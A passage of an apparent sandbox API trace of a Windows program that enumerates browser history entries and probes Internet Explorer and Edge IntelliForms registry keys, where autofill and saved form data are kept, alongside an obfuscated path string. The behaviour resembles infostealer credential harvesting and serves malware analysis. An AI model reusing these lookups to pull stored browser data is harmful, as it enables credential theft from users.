Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.900] LocalFree (hMem=0x2ea3a0) returned 0x0 [0056.900] CoTaskMemFree (pv=0x2e8568) [0056.900] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.900] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Z98Sl-qVG_MnHL4m.odp", lpSrch="?") returned 0x0 [0056.900] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.900] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ec3a0 [0056.900] lstrcpyA (in: lpString1=0x2ec3a0, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.900] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Z98Sl-qVG_MnHL4m.odp") returned 64 [0056.900] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/Z98Sl-qVG_MnHL4m.odp") returned 64 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.900] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.901] LocalFree (hMem=0x2ec3a0) returned 0x0 [0056.901] CoTaskMemFree (pv=0x2e8718) [0056.901] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.901] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/_ER_ruNi4FFwLo/p7IXcY.pptx", lpSrch="?") returned 0x0 [0056.901] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.901] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ec660 [0056.901] lstrcpyA (in: lpString1=0x2ec660, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.901] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/_ER_ruNi4FFwLo/p7IXcY.pptx") returned 81 [0056.901] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/_ER_ruNi4FFwLo/p7IXcY.pptx") returned 81 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.901] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.902] LocalFree (hMem=0x2ec660) returned 0x0 [0056.902] CoTaskMemFree (pv=0x2ec5b0) [0056.902] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.902] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e7pTwrBH.docx", lpSrch="?") returned 0x0 [0056.902] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.902] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ec870 [0056.902] lstrcpyA (in: lpString1=0x2ec870, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.902] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e7pTwrBH.docx") returned 55 [0056.902] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/e7pTwrBH.docx") returned 55 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.902] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.902] LocalFree (hMem=0x2ec870) returned 0x0 [0056.902] CoTaskMemFree (pv=0x2ec7f8) [0056.902] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.903] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/y9xBuByx4xj.png", lpSrch="?") returned 0x0 [0056.903] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.903] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ec8d8 [0056.903] lstrcpyA (in: lpString1=0x2ec8d8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.903] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/y9xBuByx4xj.png") returned 57 [0056.903] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/y9xBuByx4xj.png") returned 57 [0056.903] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.903] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.903] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.903] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.903] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.903] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.903] LocalFree (hMem=0x2ec8d8) returned 0x0 [0056.903] CoTaskMemFree (pv=0x2ea538) [0056.903] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.903] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/VGfhZ3EbYU1Pi2.jpg", lpSrch="?") returned 0x0 [0056.903] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.903] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ec8d8 [0056.903] lstrcpyA (in: lpString1=0x2ec8d8, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.903] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/VGfhZ3EbYU1Pi2.jpg") returned 73 [0056.903] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/0uK2pZE4%20F/VGfhZ3EbYU1Pi2.jpg") returned 73 [0056.904] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.904] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.904] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.904] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.904] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.904] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.904] LocalFree (hMem=0x2ec8d8) returned 0x0 [0056.904] CoTaskMemFree (pv=0x2e60b8) [0056.904] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.905] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/05oewX0nTg7og.odt", lpSrch="?") returned 0x0 [0056.905] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.905] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ec960 [0056.905] lstrcpyA (in: lpString1=0x2ec960, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.905] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/05oewX0nTg7og.odt") returned 67 [0056.905] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/05oewX0nTg7og.odt") returned 67 [0056.905] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae0 | out: phkResult=0x21fae0*=0x0) returned 0x2 [0056.905] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab0 | out: phkResult=0x21fab0*=0x0) returned 0x2 [0056.905] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa80 | out: phkResult=0x21fa80*=0x0) returned 0x2 [0056.905] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0x21fae4 | out: phkResult=0x21fae4*=0x0) returned 0x2 [0056.905] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0x21fab4 | out: phkResult=0x21fab4*=0x0) returned 0x2 [0056.905] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0x21fa84 | out: phkResult=0x21fa84*=0x0) returned 0x2 [0056.905] LocalFree (hMem=0x2ec960) returned 0x0 [0056.905] CoTaskMemFree (pv=0x2e89e8) [0056.905] IEnumSTATURL:Next (in: This=0x2e19c0, celt=0x1, rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x0 | out: rgelt=0x21fba4, pceltFetched=0x21fbd0*=0x1) returned 0x0 [0056.906] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/IoFnVZt5OVrXc94.ods", lpSrch="?") returned 0x0 [0056.906] lstrlenA (lpString="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned 168 [0056.906] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x2ecd50 [0056.906] lstrcpyA (in: lpString1=0x2ecd50, lpString2="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" | out: lpString1="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD") returned="6ulekscV\\JbDggHg\\Xv3Db 6HRRLQ5g\\6v2R9DpH\\TL3pvgv2R\\kLQEv9g\\JAppHQRaHpgLvQ\\s44JvQRDLQHp\\6RvpD5H\\OL3pvgv2R.OL3pvgv2RHE5HCi9HrwfdEiff9H\\TL3pvgv2RVE5H\\1QRHbbLlvpOg\\lvpOoDRD" [0056.906] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/IoFnVZt5OVrXc94.ods") returned 61 